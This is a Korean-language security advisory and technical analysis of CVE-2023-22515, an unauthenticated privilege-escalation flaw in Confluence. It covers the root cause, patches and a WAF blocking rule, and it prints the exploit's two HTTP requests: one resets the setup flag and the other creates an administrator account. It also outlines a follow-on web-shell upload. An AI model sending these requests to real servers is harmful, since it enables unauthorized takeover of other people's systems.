🛡️ CVE-2023-22515: Confluence 권한 상승 취약점 심층 분석

[!IMPORTANT] 긴급 보안 경고: 이 취약점은 CVSS 스코어 **10.0 (Critical)**의 최고 위험도 취약점입니다. 영향을 받는 버전을 사용 중인 경우 즉각적인 패치가 필요합니다.

1. 개요 (Overview)

CVE-2023-22515는 Atlassian Confluence Data Center 및 Server에서 발견된 치명적인 Broken Access Control 취약점입니다. 공격자는 인증 없이 원격으로 서버의 설정 상태를 조작하여 관리자 계정을 생성하고, 시스템을 완전히 장악할 수 있습니다.

2. 공격 메커니즘 (Attack Mechanism)

이 취약점은 공격자가 /server-info.action 엔드포인트를 통해 bootstrapStatusProvider.applicationConfig.setupComplete 값을 false로 변경함으로써 트리거됩니다.

🔍 공격 시퀀스 다이어그램

sequenceDiagram
    participant Attacker as 😈 공격자
    participant Server as 🖥️ Confluence 서버
    participant Config as ⚙️ 설정 관리자

    Note over Attacker, Server: 1단계: 설정 상태 초기화 공격
    Attacker->>Server: GET /server-info.action?setupComplete=false
    Server->>Config: 메모리 상의 설정 완료 플래그 해제
    Config-->>Server: 상태 변경 완료 (설치 모드로 전환)
    Server-->>Attacker: HTTP 200/302 OK

    Note over Attacker, Server: 2단계: 관리자 계정 생성
    Attacker->>Server: POST /setup/setupadministrator.action<br/>(새로운 관리자 정보 전송)
    Server->>Server: 보안 검증 우회 (설치 모드라 허용됨)
    Server-->>Attacker: 계정 생성 성공 및 로그인

    Note over Attacker, Server: 3단계: 시스템 장악 (RCE)
    Attacker->>Server: 악성 플러그인 업로드 (Web Shell)
    Server-->>Attacker: 원격 명령 실행 권한 획득

[!NOTE] 핵심 원리: 영구적인 설정 파일(confluence.cfg.xml)을 수정하는 것이 아니라, 메모리 상의 런타임 상태를 변경하여 접근 제어 로직을 우회하는 방식입니다.

3. 상세 분석 (Technical Analysis)

원인 (Root Cause)

XWork2 프레임워크의 파라미터 바인딩 취약점과 Confluence의 액션(Action) 클래스(ServerInfoAction)에서 민감한 속성(setupComplete)에 대한 외부 입력 검증이 누락되어 발생했습니다.

HTTP 요청 예시

공격자는 단순한 HTTP 요청만으로 서버를 무력화할 수 있습니다.

1. 설정 초기화 요청:

GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: target-confluence.com

2. 관리자 생성 요청:

POST /setup/setupadministrator.action HTTP/1.1
...
username=hacker_admin&password=P@ssw0rd123...

4. 취약점 재현 (PoC & Demo)

본 보고서와 함께 제공되는 재현 키트(cve-2023-22515-repro)를 통해 안전한 Docker 환경에서 취약점을 실습할 수 있습니다.

🎥 Cinematic Demo

터미널에서 실제 해킹 과정을 시각적으로 확인할 수 있는 데모 스크립트가 포함되어 있습니다.

# 데모 실행 명령어
bash cinematic_pwn.sh

[!TIP] 데모 스크립트는 실제 서버(localhost:8090)에 공격을 수행하여 관리자 계정을 생성하고 로그인까지 시도하는 전 과정을 자동화하여 보여줍니다.

5. 대응 방안 (Mitigation)

✅ 최신 패치 적용 (권장)

가장 확실한 해결책은 Atlassian에서 제공하는 수정된 버전으로 업그레이드하는 것입니다.

• 8.3.3 버전 이상
• 8.4.3 버전 이상
• 8.5.2 버전 이상

⚠️ 임시 완화 조치

패치가 어려운 경우, 네트워크 보안 장비(WAF, 로드밸런서 등)에서 다음 URL 패턴에 대한 접근을 차단하십시오.

• */setup/*

6. 결론 (Conclusion)

CVE-2023-22515는 공격 난이도가 매우 낮으면서도 시스템 완전 장악이 가능한 치명적인 취약점입니다. 보안 담당자는 즉시 패치를 적용하고, 침해 사고 여부를 모니터링해야 합니다.

작성일: 2026-01-16 | 작성자: Antigravity Security Analysis Team